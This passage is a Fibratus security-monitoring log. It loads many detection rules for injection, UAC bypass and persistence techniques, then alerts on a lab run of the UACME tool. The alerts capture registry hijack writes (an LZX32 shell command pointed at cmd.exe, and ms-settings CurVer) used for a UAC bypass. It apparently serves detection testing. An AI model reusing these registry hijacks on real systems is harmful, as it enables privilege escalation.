+time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T16:09:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T16:09:44+01:00 level=info msg=bootstrapping with pid 6632. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T16:09:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-threadpool=>false enable-thread=>true enable-audit-api=>true stack-enrichment=>true enable-mem=>false enable-handle=>false enable-vamap=>true buffer-size=>512 enable-registry=>true min-buffers=>16 enable-fileio=>true enable-net=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false timeout=>5s endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s flush-period=>1s gzip-compression=>false template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s sniff=>false trace-log=>false enabled=>false healthcheck=>true index-name=>fibratus] amqp=>[ url=>amqp://localhost:5672 durable=>false timeout=>5s routing-key=>fibratus enabled=>false vhost=>/ exchange=>fibratus delivery-mode=>transient exchange-type=>topic passive=>false tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false enabled=>false scan-timeout=>10s skip-registry=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T16:09:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T16:09:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T16:10:03+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\LZX32\SHELL\OPEN\COMMAND\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 3452322 + Pid: 20336 + Tid: 14148 + Type: RegSetValue + CPU: 1 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 16:09:54.509685 +0100 CET + Params: dataâžœ C:\WINDOWS\system32\cmd.exe, key_handleâžœ ffffce861700e190, key_pathâžœ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\LZX32\SHELL\OPEN\COMMAND\, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, rule.name: Hidden registry key creation, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112 + + Pid: 20336 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T16:10:03+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\MS-SETTINGS\CURVER\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 3452327 + Pid: 20336 + Tid: 14148 + Type: RegSetValue + CPU: 1 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 16:09:54.5104421 +0100 CET + Params: key_handleâžœ ffffce863ac89bf0, key_pathâžœ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\MS-SETTINGS\CURVER\, statusâžœ Success + Metadata: technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, technique.name: Modify Registry, rule.name: Hidden registry key creation + + Pid: 20336 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program 